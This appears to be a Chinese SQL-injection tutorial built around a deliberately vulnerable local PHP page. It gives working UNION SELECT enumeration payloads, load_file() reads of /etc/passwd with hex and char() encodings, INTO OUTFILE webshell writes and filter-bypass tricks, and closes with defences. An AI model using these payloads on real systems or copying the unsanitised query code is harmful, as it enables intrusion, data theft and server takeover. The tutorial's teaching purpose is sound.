一、簡介
1.一、SQL注入的本質php
web程序代碼中對於用戶提交的參數未作過濾就直接放到SQL語句中執行,致使參數中的特殊字符打破了SQL語句原有邏輯,黑客能夠利用該漏洞執行任意SQL語句.html
1.二、什麼是SQL注入
1.是一種將SQL語句插入或添加到應用(用戶)的輸入參數中的攻擊mysql
2.這些參數傳遞給後臺的SQL數據庫服務器加以解析並執行.linux
1.三、注入原理
SQL注入的本質是惡意攻擊者將SQL代碼插入或添加到程序的參數中,而程序並無對傳入的參數進行正確處理,致使參數中的數據會被當作代碼來執行,並最終將執行結果返回給攻擊者web
1.三、危害
■ 一、數據庫信息泄露:數據庫中存放的用戶的隱私信息的泄露
■ 二、網頁串改:經過數據庫對特定的網頁進行篡改(網頁內容存儲在數據庫,經過修改內
容達到網頁篡改)
■ 三、網站掛馬,傳播惡意軟件:經過修改數據庫一些字段的值,嵌入網馬連接,進行網馬
攻擊
■ 四、數據庫被惡意操做:數據庫被攻擊,數據庫的系統管理員帳戶被篡改
■ 五、獲取webshell:利用數據庫存在的權限分配缺陷獲取webshell甚至是系統權限正則表達式
二、注入知識與例子解析
2.一、注入的經常使用知識
經常使用函數:sql
1 system_user() #系統用戶名 2 user() #返回MYSQL用戶名 3 current_user() #當前用戶名 4 session_user() #鏈接數據庫的用戶名 5 database() #返回當前數據庫名 6 version() #返回當前數據庫版本信息 7 load_file() #返回文件的內容【攻擊時用於讀取本例文件,攻擊力大大的】 8 into outfile '物理路徑' #將結果輸出【攻擊在利用將惡意腳本注入系統中】
#有用的系統庫:
INFORMATION_SCHEMA
mysql大於5.0的版本默認安裝後都有INFORMATION_SCHEMA數據 庫,INFORMATION_SCHEMA提供了訪問數據庫元數據的方式,是MYSQL的信息數據庫,其中保存着關於MySQL服務器所維護的全部其餘數 據庫的信息,經過這個數據庫能夠查看服務器上建立了那些數據庫,數據庫有哪些表,表中有哪些字段,對注入頗有用途。【利用它能夠進行爆表、爆字段、爆內容】
2.二、注入流程注入形式:
一、union select 1,SCHEMATA_NAME,3 from information_schema.SCHEMATA limit 2,1
二、union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLES_TABLE_SCHEMA='database_name' limit 2,1
三、union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_NAME='table_name' limit 2,1
注:這僅僅只是寫法形式,在沒有任何防護措施的狀況下可注入。當有轉義單引號的過濾,那麼上面的語句確定不成功的,必須作出相應的修改方可成功。
注入小技巧:
一、當咱們注入的時候,若是空格被過濾機制處理掉了,那麼咱們可使用註釋來生成空格。例如:select/**/1,2,3
二、使用union進行查詢時,須要對應數據類型【謹記謹記】;例如union前面的第一列是int,後面就不要對應string了
1.判斷Web系統使用的腳本語言,發現注入點,並肯定是否存在SQL注入漏洞shell
2.判斷Web系統的數據庫類型數據庫
3.判斷數據庫中表及相應字段的結構安全
4.構造注入語句,獲得表中數據內容
5.查找網站管理員後臺,用獲得的管理員帳號和密碼登陸
6.結合其餘漏洞,想辦法上傳一個Webshell
7.進一步提權,獲得服務器的系統權限
(注:以上爲通常流程,根據實際狀況,狀況可能會有所不一樣。)
2.三、實例解析
a、構造注入環境
創建兩張表
CREATE DATABASE test88;
USE test88;
CREATE TABLE `admin` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `password` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) ) ; CREATE TABLE `goods` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) DEFAULT NULL, `brand` varchar(32) DEFAULT NULL, PRIMARY KEY (`id`) );
test2.php文件
1 header('content-type:text/html;charset=utf8'); 2 $link=mysql_connect('127.0.0.1','root','321'); 3 mysql_set_charset('utf8'); 4 mysql_select_db('test88'); 5 $id=$_GET['id']; 6 $sql="select*from admin where id=".$id; 7 echo "<pre>"; 8 print_r($sql); #查看SQL語句 9 echo "</pre>"; 10 $result=mysql_query($sql); 11 while($rec=mysql_fetch_assoc($result)) 12 { 13 echo "<pre>"; 14 print_r($rec); #查詢結果 15 echo "</pre>"; 16 }
b、查找注入點
【針對的SQL語句:$sql="select*from admin where id=".$id; #(代碼中的);無任何過濾,直接注入】
正常訪問:www.linuxtest.com/test2.php?id=1
查找注入點:
一、非正常訪問www.linuxtest/test2.php?id=1',結果返回非正常頁面,說明可能有注入節點存在,繼續下面的驗證
二、繼續非正常訪問www.linuxtest/test2.php?id=1 and 1=1,結果返回正常頁面
三、繼續非正常訪問www.linuxtest/test2.php?id=1 and 1=2,結果返回非正常頁面,有注入節點,能夠直接在id=1後面增長攻擊SQL語句
(固然咱們測試的SQL語句的數據是沒通過任何處理,最簡單最容易被攻擊的,因此就so easy【僅僅只是作個示例】)
【其餘SQL1語句:$sql="select*from admin where id=$id";】
與上面相同
【其餘SQL2語句:$sql="select*from admin where id=‘{$id}’";】
此時存在注入點,可是咱們必須消除單引號才能進行相應的攻擊SQL的插入,方法有:
- 增長(and ‘=)進行消除;例如:test2.php?id=1' union select 1,2,3 and '=;結果SQL爲:select*from admin where id='1' union select 1,2,3 and '='
- 增長(and 「=’)、(union select 1,2,'3)等等。同理
- 使用註釋(--)進行消除【注:有一個缺點,就是在複雜的SQ語句中會有很大的出錯概率;上面則不存在】;例如:test2.php?id=1' union select 1,2,3 -- 註釋;結果SQL爲:select*from admin where id='1' union select 1,2,3 -- 註釋'
- 。。。。。方法無窮無盡,本身研究
c、判斷數據庫類型
訪問:http://www.linuxtest.com/test2.php?id=1 and ord(mid(version(),1,1))>51
返回正常頁面說明這個數據庫版本大於4.0,可使用uinon查詢。反之就是4.0如下版本或者是其餘類型數據庫
d、破此表字段數目(爲使用union作鋪墊)
方法一:猜猜法!(2233)例如:訪問www.linuxtest.com/test2.php?id=1 union select 1,2[,3,.....,n];直到不產生錯誤則n就是此表的列數
方法二:使用order by 排序,並運用二分法,猜猜猜!例如:訪問www.linuxtest.com/test2.php?id=1 order by [1|2|3|....|n];按照第[1|2|3|...|n]列排序;只要結果顯示正常的就表示此表列數大於等於這個數(咱能夠採用二分法進行猜嘛!)
人品大爆炸,一猜就被我猜中了!(223333)
e、查看具體版本號
使用version()、和database()函數查看具體數據庫版本號以及此時使用的數據庫
訪問:www.linuxtest.com/test2.php?id=1 union select 1,version(),database()
結果顯示:一、MySQL數據庫版本爲5.5,大於5.0,存在INFORMATION_SCHEMA數據庫;二、此時使用的數據庫爲test88
f、爆表
【此時咱們假設goods表是後臺管理人員的帳號密碼錶】
爆第一個表名:
訪問www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 0,1
爆第二個表名:
訪問www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 1,1
【以此類推知道找到想要的表】
結果顯示,咱們找到管理員帳號密碼錶啦
g、爆字段
同理
訪問:www.linuxtest.com/test2.php?id=100 union select 1,column_name,3 from information_schema.columns where table_name='goods' limit 0,1
以此類推,將想要的字段所有找出來。(字段有,name、brand)
h、爆內容
訪問:www.linuxtest.com/test2.php?id=100 union select 1,name,brand from goods limit 0,1
【以此類推,獲取想要的內容】
2.四、使用load_file()和outfile進行入侵
a、知識鋪墊
咱們都知道在MySQL中,函數中的參數若是是字符串那必須採用單引號或者雙引號括主、where中的字符串類型匹配也是如此。
可是咱們可使用字符的十六進制(0x**)或者ASCII碼(char(**))來表示。【此時再也不須要引號】
例子:
所以,當咱們使用函數進行注入的時候單引號被過濾處理了,那麼將會出現錯誤!
此時咱們可使用字符串的十六進制或者ASCII碼的十進制進行注入!
b、Load_file()函數
Load_file 是MySQL讀取本地文件所用到的函數,顧名思義,就是加載文件,咱們這裏就是將文件內容顯示出來。當我能夠將系統中的文件隨意的讀寫出來,那麼這個攻擊給Web應用所形成的損失那將是沒法估量的!
首先咱們來判斷該mysql是否擁有讀寫權限;在注入點加上這句SQL進行檢測,返回正常頁面則表示擁有讀寫權限!【and (select count(*) from mysql.user)>0】
在確認擁有讀寫權限後,接着咱們能夠進行load_file()注入啦!
能夠用這個函數去讀取系統的敏感文件,去尋找配置文件,尋找數據 庫鏈接文件,尋找社工文件,尋找WEB物理路徑等等
測試:獲取linux中/etc/passwd文件內容
方式一(明文字符串):訪問www.linuxtest.com/test2.php?id=1 union select 1,load_file('/etc/passwd' ),3
【注:此時須要單引號沒有被過濾】
方式二(ASCII碼十進進):訪問www.linuxtest.com/test2.php?id=1 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) ,3
【注:(/etc/passwd)字符串的ASCII碼是47,101,116,99,47,112,97,115,115,119,100】
方式三(字符串十六進制):訪問www.linuxtest.com/test2.php?id=1 union select 1,2,load_file(0x2f6574632f706173737764)
【注:(/etc/passwd)字符串的十六進制爲0x2f6574632f706173737764】
問題解決:
經過load_file 能夠列目錄,讀文件,可是遇到文件格式編碼的時候也許會遇到亂碼的問題。這個問題能夠這麼解決, 使用使用MySQL中的 subString 函數, subString(字符串,開始,返回)。
例如:Substring(load_file(A),50,100)就是把A的內容的第50個字母開始回顯100個給你。
訪問www.linuxtest.com/test2.php?id=1 union select 1,2,Substring(load_file(0x2f6574632f706173737764),50,100)
c、outfile入侵
mysql中outfile的做用就是將查詢的結果輸出到文件中
例如:select ‘hello word’ into outfile ‘/a.txt’ 這裏是講 ‘hello word’ 輸出到 /a.txt(linux系統中)
前提條件:
一、得到物理路徑(into outfile '物理路徑') 這樣才能寫對目錄
二、可以使用union (也就是說須要MYSQL3以上的版本)
三、對方沒有對 ' 進行過濾(由於outfile 後面的 ' ' 不能夠用其餘函數代替轉換)
四、就是MYSQL用戶擁有file_priv權限(否則就不能寫文件 或者把文件內容讀出)
五、對web目錄有寫權限MS的系統通常都有權限,可是LINUX一般都是rwxr-xr-x 也就是說組跟其餘用戶都沒有權限寫操做
對應條件解決:
一、咱們通常能夠靠數據庫出錯信息來爆出來,不行的話,也能夠經過load_file()來獲得
二、上面的實例解析步驟c有介紹檢測方法
三、也很少見對 '''過濾的
四、2.4b中有介紹檢查方法(這個得看運行mysql的用戶有多大權限了)
五、通常多試試上傳目錄,圖片目錄,仍是大部分都有讀寫權限的
測試:將數據輸出到'/use/local/mysql/data'中【由於我給運行mysql的用戶權限相對較低,要是測試更明顯方便那就採用root運行MySQL吧!】
訪問www..linuxtest.com/test2.php?id=1 union select 1,2,3 into outfile '/usr/local/mysql/data/aaa.txt'
將123寫入系統/usr/local/mysql/data/aaa.txt中【123能夠修改成你想要的攻擊代碼】
綜合下面圖片,咱們得知內人注入成功!
但爲何會出錯呢?
【注】:
問:當網站不給你上傳,或者網站過濾上傳的內容,那怎麼辦呢?
答:使用字符串十六進制碼或者ASCII碼來代替
使用形式:
一、union select 1,load_file( /www/home/html/upload/qingyafengping.jpg【你已經上傳的文件】),3,4,5,6 into outfile '/www/home/html/coder.php'/
二、 union select 1,char(【字符串的十六進制碼或者ASCII十進制碼】),3,4,5,6 into outfile '/www/home/html/coder.php'
三、。。。。等等
三、防護方法
經過前面的講解咱們得知,要想成功利用SQL注入漏洞,須要同時知足兩個條件,一是攻擊者能夠控制用戶的輸入,二是注入的代碼要被成功執行。下面的內容主要圍繞這兩個方面來展開。
【從源頭進行防護的思想】即須要對從其餘地方傳遞過來的參數在進入數據庫以前進行正確的處理。主要有如下幾個方面
一、在表單中經過js綁定數據類型、或者過濾一些非法字符
二、鏈接數據庫時,使用預編譯語句,綁定變量【PHP中使用mysqli、PDO進行鏈接使用數據庫】
三、在數據進入後臺邏輯時,先對傳入的參數進行驗證,確保符合應用中定義的標準。主要有白名單和黑名單兩種方法來實現。從理論上來說,白名單的安全性要比黑名單高,由於它只容許在白名單中定義的數據經過,其餘數據都會被過濾掉。黑名單隻會過濾定義在黑名單中的數據(好比SQL注入中的一些危險字符),一般使用正則表達式來實現。但須要注意的是,因爲黑名單不可能包含全部的危險字符,因此可能會出現黑名單被繞過的狀況。例如在mysql注入中,當在黑名單中過濾了空格字符,咱們可使用"/*(mysql中註釋符)"和"+"來代替空格,繞過黑名單的限制繼續注入,所以咱們應該儘可能多使用白名單。